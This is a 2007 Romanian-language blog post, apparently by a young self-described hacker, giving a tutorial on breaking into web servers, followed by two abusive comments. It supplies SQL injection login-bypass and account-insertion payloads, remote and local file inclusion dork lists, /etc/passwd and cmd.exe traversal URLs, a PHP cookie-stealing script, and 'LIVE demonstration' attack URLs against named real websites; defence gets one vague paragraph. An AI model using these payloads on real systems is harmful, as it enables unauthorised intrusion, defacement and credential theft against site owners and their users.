Monday, June 18, 2007

Cele mai folosite Metode pentru a penetra un web-server

Cuprins


1)Disclaimer
---------------------------
2)Hackers Manifesto
---------------------------
3)Introducere
---------------------------
4) SQL Injection –login bypass
---------------------------
5) SQL Injection –table modification
---------------------------
6)RFI
---------------------------
7)LFI
---------------------------
8) RAFD
---------------------------
9)XSS
---------------------------
10)NULL byte-CGI Exploitation
---------------------------
11) Directory Transversal
---------------------------
12)Surse : video + papers +articles +books
---------------------------
13)About me
================
------------------------------------------------------------------------------------------------
1)Disclaimer

*Acest tutorial este destinat invatarii ,a cunoasterii aprofundate a securitatii web-serverelor;
*NU raspund de ceea ce faceti dupa ce ati dobandit aceste cunostinte;
*Materialul acesta nu poate fi multiplicat sau distribuit fara permisiunea autorului;
2)Hackers Manifeto

Sunt aici pentru a exploata,pentru a invata cum functioneaza lucrurile.Mereu mi-am pus intrebari ,mereu am cautat mai mult de doua raspunsuri.
Singura crima a mea este aceea a curiozitatii,explorez ceea ce tu vizezi ,sunt peste vointa,peste ambitie,peste tot.Daca vrei sa patrunzi in aceasta lume ,detaseaza-te de tot,uita tot ce ai invatat de la cei ignoranti si fara interes ,si invata sa faci cea ce vrei.
In underground de 4 ani ,de la primul contact cu un computer acum 10 ani , am ramas profound impresionat de multitudinea de cai ce le deschide.
Nu ma cunosti ,nu ai dreptul sa ma judeci.
Daca citind aceste randuri simti ceva,inseamna ca vorbesc si pentru tine ,daca nu intoarce privirea si indreapta-te spre lumea de rand.
Pentru mine este o intreaga filozofie ,”the computer system theory”,te manipulez chiar si in acest moment.
Trebuie sa ne ajutam intre noi ,nu invers ,daca simti asta vorbeste-mi daca nu pleaca.
Din nimic eu fac totul ,si din totul nimic,multumesc tuturor celor care m-au ajutat si ma ajuta,iar celor care au avut alte intentii mai putin bune ,think again motherfuckers.
This is my manifesto !
Eu sunt fl0 fl0w si sunt un hacker.

3)Tutorialul va fi structurat pe doua directii : vulnerabilitati si repararea lor.
Multi care fac tutoriale nu fac decat sa dea din gura ,eu o sa aplic cateva metode pe parcurs ce le explic si prezint.Nu ma consider specialist ,nu stiu cum sunt privit dar nu asta este important.Unde scrie LIVE demonstration acolo am aplicat metoda pe diferite siteuri web,in functie de cum am gasit in momentul respectiv.
Puteti downloada acest tutorial impreuna cu screenshoturile de la LIVE demonstration de la urmatorul link :

4) ::::Metoda explicata cu LIVE demonstration::::
SQL Injection este metoda care exploateaza erorile din codul aplicatiilor si permite atacatorului sa injecteze comenzi SQL in formele de login feedback forms,cu scopul obtinerii accesului la informatiile din baza de date.SQL Injection functioneaza deoarece formele de imput permit expresii SQL sa patrunda direct in baza de date.
Construind programme cu SQL pentru a manipula comenzile din baza si in acest fel capatand acces.
Cea mai folosita este SQL login bypass ,injectand in sectia de login si password.

Exemplu : ‘ OR 1=1—
Schema URL: http://site.com/index.php?id=0 ‘ OR 1=1—
Alte comenzi : admin’—
‘ OR 0=0—
“ OR=0—
OR 0=0—
‘ HI OR 1=1—
" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x



Cautam astfel de siteuri cu urmatoarele dorkuri :
”admin\login.asp”
”login.asp”
Cum sa te aperi de astfel de atacuri.
Sistemul trebuie evaluat pentru orice fel de vulnerabilitate ,codurile trebuie sa fie bug free ,si aplicatiile si tot ce face parte din infrastructura bine satinizate.
La fiecare schimbare a componentelor trebuie facut un web security audit.
Nu are rost sa intru in detalii si in plus nu cunosc indeajuns de mult baza SQL,insa daca nu aveti o infrastructura complexa de care sa aveti grija nici nu se merita sa va complicati.
















LIVE demonstration


http://alistrack.azleg.gov/rts/Login.asp

Username: ' or '='
Password: ' or '='


5) SQL Injection –table modification
Cream un account cu drepturi maxime.
Aceasta metoda cuprinde 3 pasi : generarea unei erori care trebuie inteleasa ,apoi obtinerea unei alte erori pentru a vedea un anumit table name,si injectarea unor comenzi pentru creearea contului.

La username : ‘ HAVING 1=1
Eroarea trebuie sa contina un table name : user_member.id .
Apoi injectarea comenzilor : ‘UNION SELECT * FROM user_member WHERE USER_ID=’ADMIN’ GROUP BY USER_ID HAVING 1=1;--
Dupa generarea erorii incercam :

‘INSERT INTO USER_MEMBER(USER_NAME,LOGIN_ID,PASSWORD,CREATION_DATE)VALUES(‘HACKER’,’HACKED’,’HCKED’,GETDATE());--
Ne putem loga cu -userul : hacker
Password : hacked
6) ::::Metoda explicata cu LIVE demonstration::::
In aceasta metoda incercam sa uploadam un fisier ,un emulator de shell in web page.Atunci cand web siteul face apel catre alta pagina pentru a fi afisata insa noi vom construi o shema URL prin care vom introduce emulatorul ,capatand acces la intregul server.
Aceasta vulnerabilitate este mult mai complexa decat va imaginati ,cea ce prezint eu este metoda cea mai populara sa zic asa ,cea mai usoara ,dar apar zilnic zeci de tipuri de RFI asa ca documentati-va mult mai mult.

Le gasi cu urmatorele dorkuri : inurl :”index.php?page=”
includes/header.php?systempath=
/Gallery/displayCategory.php?basepath=
/index.inc.php?PATH_Includes=
/nphp/nphpd.php?nphp_config[LangFile]=
/include/db.php?GLOBALS[rootdp]=
/ashnews.php?pathtoashnews=
/ashheadlines.php?pathtoashnews=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/modules/My_eGallery/public/displayCategory.php?basepath=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_connect=lol&chem_absolu=
/index.php?from_market=Y&pageurl=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/pivot/modules/module_db.php?pivot_path=
/modules/4nAlbum/public/displayCategory.php?basepath=
/derniers_commentaires.php?rep=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/myPHPCalendar/admin.php?cal_dir=
/agendax/addevent.inc.php?agendax_path=
Testam : http://site.com/director_vulnerabil.php?=http://google.com,daca se deschide pagina google in cadrul siteului respective,acesta este vulnerabil.








LIVE demonstration
Tinta : http://www.2koillismaa.fi

http://www.2koillismaa.fi/~juhan/preview.php?file=SHELL






7)LFI ::::Metoda explicata cu LIVE demonstration::::
O problema in coduri poate avea consecinte ,aceasta metoda poate sa derive in CGI exploatation.
In principal se aseamana cu RFI.
In live demonstration am accesat folderol /passwd din sistemul unix.Simplu,banal oricine poate face o schema URL ,dupa ce a scanat sa zicem siteul si poc ! se crede mare hacker,cand nu e deloc asa ,trebuie inteles codul ,DE CE se intampla asta.
Files
$page = $_GET[page];
include($page);
?>

Exemplu de eroare : $page input nu e satinizata.
Acest bug fiind pe un server unix am putut accesa folderol cu parole

LIVE demonstration




Continutul este criptat,de cele mai multe ori nu ai ce face ,dar poti incerca cu metoda brute force.Eu am folosit Brutus si am cautat spre exemplu pass’uri pentru conturi FTP,etc depinde cum ai noroc acum.
Victima : http://kleenrite.net
Schema folosita : http://kleenrite.net/index.php?Tab=Renting&incFile=/etc/passwd

8)RAFD ::::Metoda explicata cu LIVE demonstration::::
Mergem mai mult la blind ,pentru ca in general este un password disclosure.Accesam anumite directoare din server ,si tintim la fel folderol cu pass sau folderol adminului etc.
Remote Admin File Desclosure : watch and learn !




LIVE demonstration



Victima : http://www.wildlifetrusts.org
Schema :
http://www.wildlifetrusts.org/files/uploaded/download.php?filename=download.php
Mai am exemple postate de mine pe alte forumuri unde am obtinut informatii klumea.

9)XSS ::::Metoda explicata cu LIVE demonstration::::
Toata lumea mai nou crede ca daca poate injecta un script intr-un form a facut cine stie ce hack.Nu nu a reusit nimic,nu a obtinut acces nicaieri ,nu a obtinut informatii sensibile ,nimic ,nu e un hack.Toti lamerii se grabesc sa se laude cand au gasit aceasta vulnerabilitate.
Am sa va explic ce inseamna si cum putem capata acces la informatii pentru a putea face un cont cu privilegii.
Am sa explic cu cookies’urile cum sta treaba ,cum sa faceti un script folosind php ,cum sa testati siteul.
Pentru a testa daca este vulnerabil ,cautati exact ca la SQL Injection in aceleasi form’uri.
Si incercati sa injectati scripturi,cel mai banal fiind :
Veti vedea un alert window cu textul “xss whole “ ,bun acum stiti ca puteti modifica in interior prin comenzi.Acum vom face un cookie stealer apoi va arat cum sa cautati cookiuri direct printr-o schema URL.
Dupa ce testam cu scriptul : script>alert(‘XSS whole’) ,daca e vulnerabil injectam urmatorul cod, exact ca la metoda sql injection.
$cookie=$_GET[‘cookie’];
$variabila1=fopen(“cookies.txt”,”a”);
fwrite($variabila1,$cookie);
f.close($variabila1);
Salvati : jucarie.php
Apoi facem un alt script pentru a putea “planta” jucaria facuta,asta dupa ce ati uploadat pe un host.

LIVE demonstration




Victima : www.nbc.com
Schema : http://nbcweb.resultpage.com/search?p=q&TS=NBCWEB&%3cSCRIPT%3eALERT%28document.cookie%29%3C%2Fscript%3E

10)NULL byte-CGI Exploitation

CGI bin (sau Common Gateway Interface) este un director care se gaseste pe serverele web si care permite utilizarea fisierelor .cgi si .pl. Script-urile/fisierele CGI sunt utilizate pentru statistici, guestbook-uri, formulare de raspuns si baze de date.
NULL byte este un string folosit in programare care anunta finalul unui string.Pagina CGI acceseaza alte pagini :
Index.cgi?pageid=2
Arata pagina 2.html,dar modificam putin :

Index.cgi?pageid.cgi%00
Am pus NULL byte si termina tot in url.Acum facem urmatoarea schema :

Index.cgi?pageid=/etc/passwd%00

11) Directory Transversal
11) Directory Transversal este un exploit HTTP care permite atacatorului sa acceseze directoare din interiorul serverului la care evident nu ar trebui sa aibe acces si sa execute comenzi in rootul serverului.
· Access Control Lists (ACLs)
· Root directory
Sunt doua protocoale de securitate folosite pe un server.In Access Control Lists administratorul limiteaza userii si configureaza in mare cam tot.Root directory impiedica userii sa acceseze fisiere ce detin informatii sensibile cum ar fi CMD pe platforma Windows si folderul passwd pe Linux/UNIX.
Un web server vulnerabil poate compromite tot.

http://site.com/show.asp?view=../../../../../Windows/system.ini
Ok ce tocmai am facut : schema url face face o cerere catre pagina show.asp din server si trimite parametrul view cu valoarea =../../../../../Windows/system.ini

../ -reprezinta directorul si folosita in schema URL spune serverului sa ne duca cu un director in sus.

Alta schema ar fi :

http:/site.com/scripts/..%5c../Windows/System32/
cmd.exe?/c+dir+c:\

fl0 fl0w © 2oo7

13)About me
Am 18 ani,invat intr-un Colegiu National de undeva din tara ,invat sisteme –computere de cand ma stiu,programare si altele.
Sunt unul din cei 9 membri ai Romanian Electronic Network Security Lab Team.Activez pe hackgroup team.

2 comments:

greengeek said...

hrmmm tipule eshti gay...de unde ai articolu...probabil dmz k numa acolo e hacker manifesto...sau enigma sau numi pasa...in afara de sectiunea about me e copiat totu...dak eshti mare "hacker" scrie in pula mea articolu tau prorpiu...in fine eshti praf

Semnat:un pusti de 16 ani kre iti da lectii la hacking:)) prafetule

CarcaBot said...

Greegeek ai dat un raspuns pe masura creierului tau...